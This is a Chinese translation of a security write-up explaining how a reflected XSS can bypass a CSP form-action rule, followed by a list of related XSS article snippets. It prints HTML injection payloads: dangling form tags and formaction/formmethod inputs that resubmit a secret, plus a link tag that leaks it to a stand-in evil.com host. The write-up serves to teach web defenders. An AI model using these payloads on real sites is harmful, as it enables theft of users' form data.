利用反射型XSS二次注入绕过CSP form-action限制

标签: 技术分享 | 发表时间:2016-04-12 13:55 | 作者:ca1n
出处:http://drops.wooyun.org

翻译: SecurityToolkit

0x01 简单介绍


CSP(Content-Security-Policy)是为了缓解XSS而存在的一种策略, 开发者可以设置一些规则来限制页面可以加载的内容.那文本中所说的form-action又是干啥的呢?用他可以限制form标签"action"属性的指向页面, 这样可以防止攻击者通过XSS修改表单的"action"属性,偷取用户的一些隐私信息.

0x02 实例分析


上面讲的太抽象了, 如果不想看的话可以直接跳过....具体一点, 现在使用的是chrome浏览器, 假设下面这个secret.html是可能被XSS攻击的

//XSS在这里, victim.com/secret.html?xss=xss
<form method="POST" id='subscribe' action='oo.html'>
  <input name='secret' value='xiao_mi_mi'/>         //小秘密

如果这个站点没有CSP, 攻击者可以直接通过XSS修改

<form method="POST" action='http://evil.com/wo_de_mi_mi.php'>   //我的秘密

当用户傻傻地进行"正常'操作时,小秘密已经悄然变成攻击者的秘密了.然后,有一个管理员试图用CSP防止这个问题, 他使用白名单策略限制外部JS的加载并且不允许内联脚本, 好像安全性高了一点.

攻击者想了下, 把页面改成下面这个样子

<div><form action='http://evil.com/wo_de_mi_mi.php'></div>
<form method='POST' id='subscribe' action='oo.html'>

在原本的form之前又加了一个form标签, 这个新的form标签没有闭合,并且直接碰到了老form标签, 这个时候会发生什么呢?

Screen Shot 2016-04-10 at 19.25.02

老form标签就这样消失了! 所以攻击者再次把用户的小秘密发送到了自己的服务器上, 而且这时本来应该是POST的secret因为老form标签的消失现在变成了GET发送, 请求变成了下面这样.

Screen Shot 2016-04-10 at 19.25.02

这下管理员郁闷了, 最后索性用CSP加上了form-action来白名单限定form标签的action指向, 那么这样是否还会出现问题呢?

一起来回顾一下, 现在有一个不能执行JS的反射型XSS和一个只能往白名单域名(当然没有攻击者域名...)指向的form标签.

原secret.html

// XSS位置, victim.com/secret.html?xss=xss
<form method="POST" id='subscribe' action='oo.html'>
  <input name='secret' value='xiao_mi_mi'/>

最后攻击者的改过的页面如下

<input value='ByPass CSP' type='submit' form='subscribe' formaction='' formmethod='GET' />
<input type='hidden' name='xss' form='subscribe' value="<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>">
// XSS, victim.com/secret.html?xss=xss
<form method="POST" id='subscribe' action='oo.html'>
  <input type='hidden' name='secret' value='xiao_mi_mi'/>
</form>

这里有几处tricky的地方, 整个代码的步骤如下

  1. input标签的form/formmethod/formaction将老form POST到oo.html的secret变成GET发送到secret.html即当前页面.

  2. 跳转后仍处于secret.html因此该页面的XSS还可以被二次利用注入恶意标签, 这里又利用第二个input标签增加GET请求的xss参数, 所以跳转之后的URL变为

    http://victim.com/secret.html?secret=xiao_mi_mi&xss=<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>
    
  3. 此时secret.html再次触发XSS, 被攻击者加入下面标签

    <link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>
    
  4. Screen Shot 2016-04-10 at 20.12.36

正是最后这个link标签泄露了本该POST发送的secret, 攻击者通过利用一个反射型XSS将CSP的form-action绕过.

0x03 最后


CSP能够从某种程度上限制XSS, 对网站的防护是很有益义的. 不过相比国外经常能够看到相关的讨论,国内CSP的推进和热度却是比较不尽人意的, 同时关于CSP也有很多有意思的安全点, 特此翻译出来以供大家学习和参考.

原文链接: https://labs.detectify.com/2016/04/04/csp-bypassing-form-action-with-reflected-xss/

相关 [利用 反射 xss] 推荐:

利用反射型XSS二次注入绕过CSP form-action限制

- - WooYun知识库
翻译: SecurityToolkit. CSP(Content-Security-Policy)是为了缓解XSS而存在的一种策略, 开发者可以设置一些规则来限制页面可以加载的内容.那文本中所说的form-action又是干啥的呢?用他可以限制form标签"action"属性的指向页面, 这样可以防止攻击者通过XSS修改表单的"action"属性,偷取用户的一些隐私信息..

Chrome 是怎么过滤反射型 XSS 的呢?

- - 知乎每日精选
首先要说明的是 它是webkit的一个模块,而非chrome,所以Safari和360安全浏览器极速模式等webkit内核的浏览器都有XSS过滤功能. 通过模糊匹配 输入参数(GET query| POST form data| Location fragment ) 与 dom树,如果匹配中的数据中包含跨站脚本则不在输出到上下文DOM树中.另外,匹配的规则跟CSP没有什么关系,最多是有参考,CSP这种规范类的东西更新速度太慢跟不上现实问题的步伐.

一个反射型XSS例子的解析

- - CSDN博客推荐文章
我们在访问一个网页的时候,在URL后面加上参数,服务器根据请求的参数值构造不同的HTML返回. 如http://localhost:8080/prjWebSec/xss/reflectedXSS.jsp?param=value. 上例中的value可能出现在返回的HTML(可能是JS,HTML某元素的内容或者属性)中,.

挖洞经验 | 看我如何挖掘成人网站YouPorn的XSS并成功利用

- - FreeBuf互联网安全新媒体平台 | 关注黑客与极客
由于我个人时间的限制,因此我很少或者说是几乎不参加赏金计划任务. 虽然我早早的就注册了HackerOne,但你们可以到 我的主页并没有任何的记录. 在这里我不得不提及我的 同事,他与我截然相反,可以说他把大部分时间都花在了研究赏金计划上. 就在上个月的一个傍晚,当我们连接到我们的工作Jabber server时,他告诉我成人网站 YouPorn也已在HackerOne上,启动了他们的bug奖励计划:.

深掘XSS漏洞场景之XSS Rootkit

- jyf1987 - 80sec
深掘XSS漏洞场景之XSS Rootkit[完整修订版]. 众所周知XSS漏洞的风险定义一直比较模糊,XSS漏洞属于高危漏洞还是低风险漏洞一直以来都有所争议. XSS漏洞类型主要分为持久型和非持久型两种:. 非持久型XSS漏洞一般存在于URL参数中,需要访问黑客构造好的特定URL才能触发漏洞. 持久型XSS漏洞一般存在于富文本等交互功能,如发帖留言等,黑客使用的XSS内容经正常功能进入数据库持久保存.

XSS 探索 - big-brother

- - 博客园_首页
正常的页面被渗出了攻击者的js脚本,这些脚本可以非法地获取用户信息,然后将信息发送到attacked的服务端. XSS是需要充分利用输出环境来构造攻击脚本的. 非法获取用户cookie、ip等内容. 劫持浏览器,形成DDOS攻击. Reflected XSS:可以理解为参数型XSS攻击,攻击的切入点是url后面的参数.

前端xss攻击

- - SegmentFault 最新的文章
实习的时候在项目中有接触过关于xss攻击的内容,并且使用了项目组中推荐的一些常用的防xss攻击的方法对项目进行了防攻击的完善. 但一直没有时间深入了解这东西,在此,做一个简单的梳理. xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入的恶意html代码会被执行,从而达到恶意用户的特殊目的.

百度知道XSS漏洞

- - 博客园_首页
事情的起因是我一同学在百度知道上看到一个很奇怪的,正文带有连接的提问( 这里),正常来说,这种情况是不可能出现的. 我条件反射的想到了:XSS漏洞. 通过查看源代码,我马上发现了问题的根源:未结束的标签.
帮我写一个能提取

pentesterlab xss漏洞分析

- - JavaScript - Web前端 - ITeye博客
pentesterlab简介. pentesterlab官方定义自己是一个简单又十分有效学习渗透测试的演练平台. pentesterlab环境搭建. 官方提供了一个基于debian6的镜像,官网下载镜像,使用vmware建立一个虚拟机,启动即可. ps:官方文档建议做一个host绑定,方便后面使用.

XSS攻击及防御

- - BlogJava-qileilove
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性. 其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的.